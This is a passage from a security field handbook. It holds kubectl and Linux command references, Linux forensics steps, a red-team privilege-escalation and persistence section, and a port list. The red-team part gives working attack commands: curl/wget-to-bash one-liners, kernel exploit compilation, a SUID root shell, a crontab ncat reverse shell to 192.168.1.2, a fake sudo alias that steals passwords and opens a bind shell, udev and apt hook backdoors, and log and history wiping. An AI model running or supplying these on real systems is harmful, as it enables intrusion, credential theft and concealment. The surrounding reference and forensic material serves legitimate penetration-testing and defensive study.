label=awesome
Add a Label
kubectl annotate pods my-pod icon-
url=http://goo.gl/XXBTWq
Add an annotation
kubectl autoscale deployment foo --min=2 --
max=10
Auto scale a
deployment "foo"
EDITING RESOURCES
kubectl edit svc/docker-registry
Edit the service
named docker-
registry
KUBE_EDITOR="nano" kubectl edit svc/docker-
registry
Use an
alternative
editor
SCALING RESOURCES
kubectl scale --replicas=3 rs/foo
Scale a
replicaset named
'foo' to 3
kubectl scale --replicas=3 -f foo.yaml
Scale a resource
specified in
"foo.yaml" to 3
kubectl scale --current-replicas=2 --
replicas=3 deployment/mysql
If the deployment
named mysql's
current size is 2
scale mysql to 3
kubectl scale --replicas=5 rc/foo rc/bar
rc/baz
Scale multiple
replication
controllers
DELETE RESOURCES
kubectl delete -f ./pod.json
Delete a pod
using the type
and name
specified in
pod.json
kubectl delete pod,service baz foo
Delete pods and
services with
same names "baz"
and "foo"
kubectl delete pods,services -l name=myLabel
Delete pods and
services with
label
name=myLabel
kubectl -n my-ns delete pod,svc --all
Delete all pods
and services in
namespace my-ns
117
kubectl get pods -n mynamespace --no-
headers=true | awk '/pattern1|pattern2/{print
$1}' | xargs kubectl delete -n mynamespace
pod
Delete all pods
matching the awk
pattern1 or
pattern2
INTERACT PODS
kubectl logs my-pod
dump pod logs
(stdout)
kubectl logs -l name=myLabel
dump pod logs
with label
name=myLabel
(stdout)
kubectl logs my-pod --previous
dump pod logs
(stdout) for a
previous
instantiation of
a container
kubectl logs my-pod -c my-container
dump pod
container logs
(stdout multi-
container case)
kubectl logs -l name=myLabel -c my-container
dump pod logs
with label
name=myLabel
(stdout)
kubectl logs my-pod -c my-container --
previous
dump pod
container logs
(stdout multi-
container case)
for a previous
instantiation of
a container
kubectl logs -f my-pod
stream pod logs
(stdout)
kubectl logs -f my-pod -c my-container
stream pod
container logs
(stdout multi-
container case)
kubectl logs -f -l name=myLabel --all-
containers
stream all pods
logs with label
name=myLabel
(stdout)
kubectl run -i --tty busybox --image=busybox
-- sh
Run pod as
interactive shell
kubectl run nginx --image=nginx --
restart=Never -n mynamespace
Run pod nginx in
a specific
namespace
kubectl run nginx --image=nginx --
restart=Never =--dry-run -o yaml > pod.yaml
Run pod nginx and
write its spec
into a file
called pod.yaml
118
kubectl attach my-pod -i
Attach to Running
Container
kubectl port-forward my-pod 5000:6000
Listen on port
5000 on the local
machine and
forward to port
6000 on my-pod
kubectl exec my-pod -- ls /
Run command in
existing pod (1
container case)
kubectl exec my-pod -c my-container -- ls /
Run command in
existing pod
(multi-container
case)
kubectl top pod POD_NAME --containers
Show metrics for
a given pod and
its containers
INTERACTING NODES/CLUSTER
kubectl cordon my-node
Mark my-node as
unschedulable
kubectl drain my-node
Drain my-node in
preparation for
maintenance
kubectl uncordon my-node
Mark my-node as
schedulable
kubectl top node my-node
Show metrics for
a given node
kubectl cluster-info
Display addresses
of the master and
services
kubectl cluster-info dump
Dump current
cluster state to
stdout
kubectl cluster-info dump --output-
directory=/path/to/cluster-state
Dump current
cluster state to
/path/to/cluster-
state
RESOURCE TYPES
kubectl api-resources --namespaced=true
All namespaced
resources
kubectl api-resources --namespaced=false
All non-
namespaced
resources
kubectl api-resources -o name
All resources
with simple
output (just the
resource name)
kubectl api-resources -o wide
All resources
with expanded
119
(aka "wide")
output
kubectl api-resources --verbs=list,get
All resources
that support the
"list" and "get"
request verbs
kubectl api-resources --api-group=extensions
All resources in
the "extensions"
API group
REFERENCE:
https://kubernetes.io/docs/reference/kubectl/cheatsheet/
https://cheatsheet.dennyzhang.com/cheatsheet-kubernetes-a4
https://cheatsheet.dennyzhang.com/kubernetes-yaml-templates
L
L
L
LINUX_Commands
ALL
ADMINISTRATION
LINUX
FILE SYSTEM
ls
list items in current directory
ls -l
list items in current directory
in long format
ls -a
list all items in current
directory, including hidden files
ls -F
list all items in current
directory and show directories
with a slash and executables with
a star
ls dir
list all items in directory dir
120
cd dir
change directory to dir
cd ..
go up one directory
cd /
go to the root directory
cd ~
go to to your home directory
cd -
go to the last directory you were
pwd
show present working directory
mkdir dir
make directory dir
rm file
remove file
rm -r dir
remove directory dir recursively
cp file1 file2
copy file1 to file2
cp -r dir1 dir2
copy directory dir1 to dir2
recursively
mv file1 file2
move (rename) file1 to file2
ln -s file link
create symbolic link to file
touch file
create or update file
cat file
output the contents of file
less file
view file with page navigation
head file
output the first 10 lines of file
tail file
output the last 10 lines of file
tail -f file
output the contents of file as it
grows, starting with the last 10
lines
vim file
edit file
alias name 'command'
create an alias for a command
SYSTEM
cat /etc/*release*
OS version
cat /etc/issue
OS version
cat /proc/version
Kernel information
date
show the current date and time
df
show disk usage
du
show directory space usage
finger user
display information about user
free
show memory and swap usage
last -a
Users to login last
man command
show the manual for command
mount
Show any mounted file systems
nbtstat -A <IP> or <CIDR>
Query hostname for IP or CIDR
reboot
restart machine
shutdown
shut down machine
uname -a
CPU arch and kernel version
whereis app
show possible locations of app
which app
show which app will be run by
default
who -a
Combined user information
whoami
who you are logged in as
PROCESS ADMINISTRATION
ps -aef
display your currently active
processes
top
display all running processes
kill pid#
kill process id pid
121
kill -9 pid#
force kill process id pid
NETWORKING
echo "1" >
/proc/sys/net/ipv4/ip_forwar
d
Enable IP forwarding
echo "nameserver <IP>" >
/etc/resolv.conf
Insert a new DNS server
ifconfig <eth#> <IP>/<CIDR>
Configure eth# interface IP
iwlist <wlan#> scan
WiFi broadcast scan
lsof -i
List open files connection status
lsof -i tcp:80
List all processes running on
port 80
netstat -ant
Top tcp network connection status
netstat -anu
Top udp network connection status
route add default gw <IP>
Configure gateway IP
share <USER> <IP> C$
Mount Windows C share
smb://<IP>/IPC$
SMB connect Windows IPC share
smbclient -U <USER>
\\\\<IP>\\<SHARE>
SMBclient connect to share
watch netstat -an
Continuous network connect status
PERMISSIONS
ls -lart
list items by date in current
directory and show permissions
chmod ugo file
change permissions of file to ugo
- u is the user's permissions, g
is the group's permissions, and o
is everyone else's permissions.
The values of u, g, and o can be
any number between 0 and 7.
7 — full permissions
6 — read and write only
5 — read and execute only
4 — read only
3 — write and execute only
2 — write only
1 — execute only
0 — no permissions
chmod 600 file
you can read and write - good for
files
chmod 700 file
you can read, write, and execute
- good for scripts
chmod 644 file
you can read and write, and
everyone else can only read -
good for web pages
chmod 755 file
you can read, write, and execute,
and everyone else can read and
execute - good for programs that
you want to share
UTILITIES
curl <URL> -O
download a file
122
dig -x host
reverse lookup host
dig domain.com
get DNS information for domain
dos2unix file.txt
converts windows to unix format
lsof -i tcp:80
list all processes running on
port 80
ping host
ping host or IP and output
results
scp -r user@host:dir dir
secure copy the directory dir
from remote server to the
directory dir on your machine
scp file user@host:dir
secure copy a file from your
machine to the dir directory on a
remote server
scp user@host:file dir
secure copy a file from remote
server to the dir directory on
your machine
script -a file.txt
record terminal to file
ssh -p port user@host
SSH connect to host on port as
user
ssh user@host
SSH connect to host as user
ssh-copy-id user@host
add your key to host for user to
enable a keyed or passwordless
login
wget <URL> -O file.txt
download a file
whois domain.com
get information for domain
SEARCHING
grep pattern files
search for pattern in files
grep -r pattern dir
search recursively for pattern in
dir
grep -rn pattern dir
search recursively for pattern in
dir and show the line number
found
grep -r pattern dir --
include='*.ext
search recursively for pattern in
dir and only search in files
with .ext extension
command | grep pattern
search for pattern in the output
of command
find file
find all instances of file in
real system
locate file
find all instances of file using
indexed database built from the
updatedb command. Much faster
than find
sed -i 's/day/night/g' file
find all occurrences of day in a
file and replace them with night
- s means substitude and g means
global - sed also supports
regular expressions
COMPRESSION
123
tar cf file.tar files
create a tar named file.tar
containing files
tar xf file.tar
extract the files from file.tar
tar czf file.tar.gz files
create a tar with Gzip
compression
tar xzf file.tar.gz
extract a tar using Gzip
gzip file
compresses file and renames it to
file.gz
gzip -d file.gz
decompresses file.gz back to file
zip -r <file.zip> \path\*
Zip contents of directory
SHORTCUTS
ctrl+a
move cursor to start of line
ctrl+f
move cursor to end of line
alt+f
move cursor forward 1 word
alt+b
move cursor backward 1 word
REFERENCE:
http://cheatsheetworld.com/programming/unix-linux-cheat-sheet/
L
L
LINUX_Defend
BLUE TEAM
FORENSICS
Linux
Evidence Collection Order of Volatility (RFC3227)
•
Registers, cache
•
Routing table, arp cache, process table, kernel statistics,
memory
•
Temporary file systems
•
Disk
•
Remote logging and monitoring data that is relevant to the
system in question
•
Physical configuration, network topology
•
Archival media
LINUX ARTIFACT COLLECTION
System Information
date
uname –a
hostname
cat /proc/version
lsmod
service -status-all
Disk/Partition Information
124
fdisk -l
Open Files & Disk/Space Usage
lsof -i
du
df
Networking Configuration/Connections/Socket Stats
ifconfig -a
netstat -apetul
netstat -plan
netstat -plant
ss -l
ss -ta
ss -tp
User/Account Information
whoami
who
last
lastb
cat /var/log/auth.log
cat /etc/passwd
cat /etc/shadow
cat /etc/sudoers
cat /etc/sudoers.d/*
cut -d: -f1 /etc/passwd
getent passwd | cut -d: -f1
compgen -u
xclip -o
Processes/System Calls/Network Traffic
ps -s
ps -l
ps -o
ps -t
ps -m
ps -a
ps -aef
ps -auxwf
top
strace -f -e trace=network -s 10000 <PROCESS WITH ARGUMENTS>;
strace -f -e trace=network -s 10000 -p <PID>;
Environment/Startup/Tasks Information
cat /etc/profile
ls /etc/profile.d/
cat /etc/profile.d/*
ls /etc/cron.*
125
ls /etc/cron.*/*
cat /etc/cron.*/*
cat /etc/crontab
ls /etc/*.d
cat /etc/*.d/*
cat /etc/bash.bashrc
cat ~/.bash_profile
cat ~/.bashrc
Kernel/Browser/PAM Plugins & Modules
ls -la /lib/modules/*/kernel/*
ls -la ~/.mozilla/plugins
ls -la /usr/lib/mozilla/plugins
ls -la /usr/lib64/mozilla/plugins
ls -la ~/.config/google-chrome/Default/Extensions/
cat /etc/pam.d/sudo
cat /etc/pam.conf
ls /etc/pam.d/
Hidden Directories & Files
find / -type d -name ".*"
Immutable Files & Directories
lsattr / -R 2> /dev/null | grep "\----i"
SUID/SGID & Sticky Bit Special Permissions
find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {}
\;
File & Directories with no user/group name
find / \( -nouser -o -nogroup \) -exec ls -lg {} \;
File types in current directory
file * -p
Executables on file system
find / -type f -exec file -p '{}' \; | grep ELF
Hidden Executables on file system
find / -name ".*" -exec file -p '{}' \; | grep ELF
Files modified within the past day
find / -mtime -1
Remotely Analyze Traffic Over SSH
ssh root@<IP/HOST> tcpdump -i any -U -s 0 -w - 'not port 22'
126
Persistence Areas of Interest
/etc/rc.local
/etc/initd
/etc/rc*.d
/etc/modules
/etc/cron*
/var/spool/cron/*
Audit Logs
ls -al /var/log/*
ls -al /var/log/*tmp
utmpdump /var/log/btmp
utmpdump /var/run/utmp
utmpdump /var/log/wtmp
PROCESS FORENSICS
Detailed Process Information
ls -al /proc/[PID]
NOTE:
cwd = Current Working Directory of Malware
exe = Binary location and whether it has been deleted
Recover Deleted Binary Currently Running
cp /proc/[PID]/exe /[destination]/[binaryname]
Capture Binary Data for Review
cp /proc/[PID]/ /[destination]/[PID]/
Binary Hash Information
sha1sum /[destination]/[binaryname]
md5sum /[destination]/[binaryname]
Process Command Line Information
cat /proc/[PID]/cmdline
cat /proc/[PID]/comm
NOTE: Significant differences in the above 2 outputs and the
specified binary name under /proc/[PID]/exe can be indicative of
malicious software attempting to remain undetected.
Process Environment Variables
NOTE: Includes user who ran binary
strings /proc/[PID]/environ
cat /proc/[PID]/environ
Process File Descriptors/Maps
127
NOTE: Shows what the process is ‘accessing’ or using
ls -al /proc/[PID]/fd
cat /proc/[PID]/maps
Process Stack/Status Information
NOTE: May reveal useful elements
cat /proc/[PID]/stack
cat /proc/[PID]/status
Show Deleted Binaries Currently Running
ls -alr /proc/*/exe 2> /dev/null | grep deleted
Process Working Directories
NOTE: Including common targeted directories for malicious activity
ls -alr /proc/*/cwd
ls -alr /proc/*/cwd 2> /dev/null | grep tmp
ls -alr /proc/*/cwd 2> /dev/null | grep dev
ls -alr /proc/*/cwd 2> /dev/null | grep var
ls -alr /proc/*/cwd 2> /dev/null | grep home
MEMORY FORENSICS
Dump Memory
dd if=/dev/kmem of=/root/kmem
dd if=/dev/mem of=/root/mem
LiME
https://github.com/504ensicsLabs/LiME/releases
sudo insmod ./lime.ko "path=./Linmen.mem format=raw"
Capture Disk Image
fdisk -l
dd if=/dev/sda1 of=/[outputlocation]
REFERENCE:
https://www.jaiminton.com/cheatsheet/DFIR/#linux-cheat-sheet
https://blog.apnic.net/2019/10/14/how-to-basic-linux-malware-process-
forensics-for-incident-responders/
https://github.com/meirwah/awesome-incident-response#linux-evidence-
collection
L
L
LINUX_Exploit
RED TEAM
EXPLOITATION
Linux
128
LINENUM
Scripted local Linux enumeration and privilege escalation checks.
NOTE: You must place this script on the target host.
Summary of Categories Performed:
Kernel and Distribution
System Information
User Information
Privileged access
Environmental
Jobs/Tasks
Services
Version Information
Default/Weak Credentials
Useful File Searches
Platform/software tests
Full host enumeration with report output into tmp
linenum.sh -s -r report.txt -e /tmp/ -t
Direct execution one-liners
bash <(wget -q -O -
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum
.sh) -r report.txt -e /tmp/ -t -i
bash <(curl -s
https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum
.sh) -r report.txt -e /tmp/ -t -i
REFERENCE:
https://github.com/rebootuser/LinEnum
BeROOT
BeRoot is a post exploitation tool to check common
misconfigurations on Linux and Mac OS to find a way to escalate our
privilege. "linux-exploit-suggester" is embedded in this project.
NOTE: You must place this script on the target host.
Summary of Categories Performed:
GTFOBins
Wildcards
Sensitive files
Services
Suid binaries
Path Environment variable
NFS Root Squashing
LD_PRELOAD
Sudoers file
Sudo list
Python Library Hijacking
129
Capabilities
Ptrace Scope
Exploit Suggest
Basic enumeration
#Without user password
python beroot.py
#If you have a user password
python beroot.py --password <PASS>
REFERENCE:
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
LINUX-SMART-ENUMERATION
Linux enumeration tool for pentesting and CTFs with verbosity
levels.
NOTE: You must place this script on the target host.
Summary of Categories Performed:
User related tests.
Sudo related tests.
File system related tests.
System related tests.
Security measures related tests.
Recurrent tasks (cron, timers) related tests.
Network related tests.
Services related tests.
Processes related tests.
Software related tests.
Container (docker, lxc) related tests.
Basic enumeration execution
lse.sh
Increase verbosity and enumeration information
lse.sh -l1
Dump everything that can be gathered from the host
lse.sh -l2
One-liner download & chmod
wget "https://github.com/diego-treitos/linux-smart-
enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
130
curl "https://github.com/diego-treitos/linux-smart-
enumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh
Direct execution one-liner
bash <(wget -q -O - https://raw.githubusercontent.com/diego-
treitos/linux-smart-enumeration/master/lse.sh) -l2 -i
bash <(curl -s https://raw.githubusercontent.com/diego-
treitos/linux-smart-enumeration/master/lse.sh) -l1 -i
REFERENCE:
https://github.com/diego-treitos/linux-smart-enumeration
COMMON EXPLOITS
CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/
CVE-2010-4258 - Linux Kernel <= 2.6.37 'Full-Nelson.c'
https://www.exploit-db.com/exploits/15704/
CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo /
Ubuntu x86/x64)
https://git.zx2c4.com/CVE-2012-0056/about/
wget -O exploit.c <http://www.exploit-db.com/download/18411>
gcc -o mempodipper exploit.c
./mempodipper
CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux
Kernel <= 3.19.0-73.8
https://dirtycow.ninja/
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
#Compile dirty cow:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -
lutil
CVE-2010-3904 - RDS Protocol - Linux 2.6.32
https://www.exploit-db.com/exploits/15285/
Cross-compiling Exploit w/ GCC
#(32 bit)
gcc -m32 -o hello_32 hello.c
#(64 bit)
gcc -m64 -o hello_64 hello.c
PERSISTENCE
131
Create A Root User
sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john
SUID Binary
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' >
$TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
Crontab - Reverse shell
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e
/bin/bash")|crontab 2> /dev/null
Backdoor Target User .bashrc
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-
timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -
f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for
\$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de
passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd"
| /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null &&
/usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2
#OR add the following line inside Target user .bashrc file:
$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~./bashrc
#then create the fakesudo script.
read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt
/usr/bin/sudo $@
Backdoor Startup Service
132
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\"
2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
Backdoor Target User Startup File
First write a file in ~/.config/autostart/NAME_OF_FILE.desktop
#vi file ~/.config/autostart/*.desktop and add the below:
[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-
docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false
Backdoor Driver
echo
"ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RU
N+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-
drivers.rules > /dev/null
Backdoor APT.CONF.D
Create file in apt.conf.d directory:
APT::Update::Pre-Invoke {"CMD"};
When Target runs "apt-get update" your CMD will be executed.
#Example Ncat CMD
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash
2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
Linux Privilege Escalation MindMap
133
COVER TRACKS
Reset logfile to 0 without having to restart syslogd etc:
cat /dev/null > /var/log/auth.log
Clear terminal history
cat /dev/null > ~/.bash_history
history -c
export HISTFILESIZE=0
export HISTSIZE=0
unset HISTFILE
REFERENCE:
https://gtfobins.github.io/
https://twitter.com/mlgualtieri/status/1075788298285694981
https://www.exploit-db.com/
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology
%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology
%20and%20Resources/Linux%20-%20Persistence.md
https://guif.re/linuxeop
L
L
LINUX_Hardening
BLUE TEAM
CONFIGURATION
Linux
LINUX HARDENING GUIDE
https://github.com/ernw/hardening/blob/master/operating_system/linu
x/ERNW_Hardening_Linux.md
134
L
L
LINUX_Ports
ALL
INFORMATIONAL
Linux
PORT
APP_PROTOCOL
SYSTEM SERVICE
1
TCP tcpmux
TCP port service multiplexer
5
TCP rje
Remote Job Entry
7
TCP echo
Echo service
9
TCP discard
Null service for connection
testing
11
TCP systat
System Status service for
listing connected ports
13
TCP daytime
Sends date and time to
requesting host
15
tcp netstat
Network Status (netstat)
17
TCP qotd
Sends quote of the day to
connected host
18
TCP msp
Message Send Protocol
19
TCP chargen
Character Generation
service; sends endless
stream of characters
20
TCP ftp-data
FTP data port
21
TCP ftp
File Transfer Protocol (FTP)
port; sometimes used by File
Service Protocol (FSP)
22
TCP ssh
Secure Shell (SSH) service
23
TCP telnet
The Telnet service
25
TCP smtp
Simple Mail Transfer
Protocol (SMTP)
37
TCP time
Time Protocol
39
TCP rlp
Resource Location Protocol
42
TCP nameserver
Internet Name Service
43
TCP nicname
WHOIS directory service
49
TCP tacacs
Terminal Access Controller
Access Control System for
TCP/IP based authentication
and access
50
TCP re-mail-ck
Remote Mail Checking
Protocol
53
TCP domain
domain name services (such
as BIND)
63
TCP whois++
WHOIS++, extended WHOIS
services
67
TCP bootps
Bootstrap Protocol (BOOTP)
services;Dynamic Host
135
Configuration Protocol
(DHCP) services
68
TCP bootpc
Bootstrap (BOOTP) client;
Dynamic Host Control
Protocol (DHCP) clients
69
TCP tftp
Trivial File Transfer
Protocol (TFTP)
70
TCP gopher
Gopher Internet document
search and retrieval
71
TCP netrjs-1
Remote Job Service
72
TCP netrjs-2
Remote Job Service
73
TCP netrjs-3
Remote Job Service
73
TCP netrjs-4
Remote Job Service
79
TCP finger
Finger service for user
contact information
80
TCP http
HyperText Transfer Protocol
(HTTP) for World Wide Web
(WWW) services
88
TCP kerberos
Kerberos network
authentication system
95
TCP supdup
Telnet protocol extension
98
tcp linuxconf
Linuxconf Linux
administration tool
101
TCP hostname
Hostname services on SRI-NIC
machines
102
TCP iso-tsap
ISO Development Environment
(ISODE) network applications
105
TCP csnet-ns
Mailbox nameserver; also
used by CSO nameserver
106
poppassd
Post Office Protocol
password change daemon
(POPPASSD)
107
TCP rtelnet
Remote Telnet
109
TCP pop2
Post Office Protocol version
2
110
TCP POP3
Post Office Protocol version
3
111
TCP sunrpc
Remote Procedure Call (RPC)
Protocol for remote command
execution, used by Network
Filesystem (NFS)
113
TCP auth
Authentication and Ident
protocols
115
TCP sftp
Secure File Transfer
Protocol (SFTP) services
117
TCP uucp-path
Unix-to-Unix Copy Protocol
(UUCP) Path services
119
TCP nntp
Network News Transfer
Protocol (NNTP) for the
USENET discussion system
136
123
TCP ntp
Network Time Protocol (NTP)
137
TCP netbios-ns
NETBIOS Name Service used in
Red Hat Enterprise Linux by
Samba
138
TCP netbios-dgm
NETBIOS Datagram Service
used in Red Hat Enterprise
Linux by Samba
139
TCP netbios-ssn
NETBIOS Session Service used
in Red Hat Enterprise Linux
by Samba
143
TCP IMAP
Internet Message Access
Protocol (IMAP)
161
TCP snmp
Simple Network Management
Protocol (SNMP)
162
TCP snmptrap
Traps for SNMP
163
TCP cmip-man
Common Management
Information Protocol (CMIP)
164
TCP cmip-agent
Common Management
Information Protocol (CMIP)
174
TCP mailq
MAILQ email transport queue
177
TCP xdmcp
X Display Manager Control
Protocol (XDMCP)
178
TCP nextstep
NeXTStep window server
179
TCP bgp
Border Gateway Protocol
191
TCP prospero
Prospero distributed
filesystem services
194
TCP irc
Internet Relay Chat (IRC)
199
TCP smux
SNMP UNIX Multiplexer
201
TCP at-rtmp
AppleTalk routing
202
TCP at-nbp
AppleTalk name binding
204
TCP at-echo
AppleTalk echo
206
TCP at-zis
AppleTalk zone information
209
TCP qmtp
Quick Mail Transfer Protocol
(QMTP)
210
TCP z39.50
NISO Z39.50 database
213
TCP ipx
Internetwork Packet Exchange
(IPX), a datagram protocol
commonly used in Novell
Netware environments
220
TCP IMAP3
Internet Message Access
Protocol version 3
245
TCP link
LINK / 3-DNS iQuery service
347
TCP fatserv
FATMEN file and tape
management server
363
TCP rsvp_tunnel
RSVP Tunnel
369
TCP rpc2portmap
Coda file system portmapper
370
TCP codaauth2
Coda file system
authentication services
372
TCP ulistproc
UNIX LISTSERV
137
389
TCP ldap
Lightweight Directory Access
Protocol (LDAP)
427
TCP svrloc
Service Location Protocol
(SLP)
434
TCP mobileip-agent
Mobile Internet Protocol
(IP) agent
435
TCP mobilip-mn
Mobile Internet Protocol
(IP) manager
443
TCP https
Secure Hypertext Transfer
Protocol (HTTP)
444
TCP snpp
Simple Network Paging
Protocol
445
TCP microsoft-ds
Server Message Block (SMB)
over TCP/IP
464
TCP kpasswd
Kerberos password and key
changing services
465
tcp smtps
Simple Mail Transfer
Protocol over Secure Sockets
Layer (SMTPS)
468
TCP photuris
Photuris session key
management protocol
487
TCP saft
Simple Asynchronous File
Transfer (SAFT) protocol
488
TCP gss-http
Generic Security Services
(GSS) for HTTP
496
TCP pim-rp-disc
Rendezvous Point Discovery
(RP-DISC) for Protocol
Independent Multicast (PIM)
services
500
TCP isakmp
Internet Security
Association and Key
Management Protocol (ISAKMP)
512
TCP exec
Authentication for remote
process execution
512
UDP biff [comsat]
Asynchrous mail client
(biff) and service (comsat)
513
TCP login
Remote Login (rlogin)
513
UDP who [whod]
whod user logging daemon
514
TCP shell [cmd]
Remote shell (rshell) and
remote copy (rcp) with no
logging
514
UDP syslog
UNIX system logging service
515
printer [spooler]
Line printer (lpr) spooler
517
UDP talk
Talk remote calling service
and client
518
UDP ntalk
Network talk (ntalk) remote
calling service and client
519
utime [unixtime]
UNIX time (utime) protocol
520
TCP efs
Extended Filename Server
(EFS)
138
520
UDP router [route,
routed]
Routing Information Protocol
(RIP)
521
ripng
Routing Information Protocol
for Internet Protocol
version 6 (IPv6)
525
timed [timeserver]
Time daemon (timed)
526
TCP tempo [newdate]
Tempo
530
TCP courier [rpc]
Courier Remote Procedure
Call (RPC) protocol
531
TCP conference [chat]
Internet Relay Chat
532
netnews
Netnews newsgroup service
533
UDP netwall
Netwall for emergency
broadcasts
535
TCP iiop
Internet Inter-Orb Protocol
(IIOP)
538
TCP gdomap
GNUstep Distributed Objects
Mapper (GDOMAP)
540
TCP uucp [uucpd]
UNIX-to-UNIX copy services
543
TCP klogin
Kerberos version 5 (v5)
remote login
544
TCP kshell
Kerberos version 5 (v5)
remote shell
546
TCP dhcpv6-client
Dynamic Host Configuration
Protocol (DHCP) version 6
client
547
TCP dhcpv6-server
Dynamic Host Configuration
Protocol (DHCP) version 6
Service
548
afpovertcp
Appletalk Filing Protocol
(AFP) over Transmission
Control Protocol (TCP)
554
TCP rtsp
Real Time Stream Control
Protocol (RTSP)
556
remotefs
[rfs_server, rfs]
Brunhoff’s Remote Filesystem
(RFS)
563
TCP nntps
Network News Transport
Protocol over Secure Sockets
Layer (NNTPS)
565
TCP whoami
whoami user ID listing
587
TCP submission
Mail Message Submission
Agent (MSA)
610
TCP npmp-local
Network Peripheral
Management Protocol (NPMP)
local / Distributed Queueing
System (DQS)
611
TCP npmp-gui
Network Peripheral
Management Protocol (NPMP)
GUI / Distributed Queueing
System (DQS)
139
612
TCP hmmp-ind
HyperMedia Management
Protocol (HMMP) Indication /
DQS
616
tcp gii
Gated (routing daemon)
Interactive Interface
631
TCP ipp
Internet Printing Protocol
(IPP)
636
TCP ldaps
Lightweight Directory Access
Protocol over Secure Sockets
Layer (LDAPS)
674
TCP acap
Application Configuration
Access Protocol (ACAP)
694
TCP ha-cluster
Heartbeat services for High-
Availability Clusters
749
TCP kerberos-adm
Kerberos version 5 (v5)
‘kadmin’ database
administration
750
TCP kerberos-iv
Kerberos version 4 (v4)
services
765
TCP webster
Network Dictionary
767
TCP phonebook
Network Phonebook
808
omirr [omirrd]
Online Mirror (Omirr) file
mirroring services
871
tcp supfileserv
Software Upgrade Protocol
(SUP) server
873
TCP rsync
rsync file transfer services
901
tcp swat
Samba Web Administration
Tool (SWAT)
953
rndc
Berkeley Internet Name
Domain version 9 (BIND 9)
remote configuration tool
992
TCP telnets
Telnet over Secure Sockets
Layer (TelnetS)
993
TCP IMAPS
Internet Message Access
Protocol over Secure Sockets
Layer (IMAPS)
994
TCP ircs
Internet Relay Chat over
Secure Sockets Layer (IRCS)
995
TCP POP3s
Post Office Protocol version
3 over Secure Sockets Layer
(POP3S)
1080
socks
SOCKS network application
proxy services
1127
tcp supfiledbg
Software Upgrade Protocol
(SUP) debugging
1178
tcp skkserv
Simple Kana to Kanji (SKK)
Japanese input server
1236
bvcontrol [rmtcfg]
Remote configuration server
for Gracilis Packeten
network switches[a]
140
1300
h323hostcallsc
H.323 telecommunication Host
Call Secure
1313
tcp xtel
French Minitel text
information system
1433
ms-sql-s
Microsoft SQL Server
1434
ms-sql-m
Microsoft SQL Monitor
1494
ica
Citrix ICA Client
1512
wins
Microsoft Windows Internet
Name Server
1524
ingreslock
Ingres Database Management
System (DBMS) lock services
1525
prospero-np
Prospero non-privileged
1529
tcp support [prmsd,
gnatsd]
GNATS bug tracking system
1645
datametrics [old-
radius]
Datametrics / old radius
entry
1646
sa-msg-port
[oldradacct]
sa-msg-port / old radacct
entry
1649
kermit
Kermit file transfer and
management service
1701
l2tp [l2f]
Layer 2 Tunneling Protocol
(LT2P) / Layer 2 Forwarding
(L2F)
1718
h323gatedisc
H.323 telecommunication
Gatekeeper Discovery
1719
h323gatestat
H.323 telecommunication
Gatekeeper Status
1720
h323hostcall
H.323 telecommunication Host
Call setup
1758
tftp-mcast
Trivial FTP Multicast
1759
UDP mtftp
Multicast Trivial FTP
(MTFTP)
1789
hello
Hello router communication
protocol
1812
radius
Radius dial-up
authentication and
accounting services
1813
radius-acct
Radius Accounting
1911
mtp
Starlight Networks
Multimedia Transport
Protocol (MTP)
1985
hsrp
Cisco Hot Standby Router
Protocol
1986
licensedaemon
Cisco License Management
Daemon
1997
gdp-port
Cisco Gateway Discovery
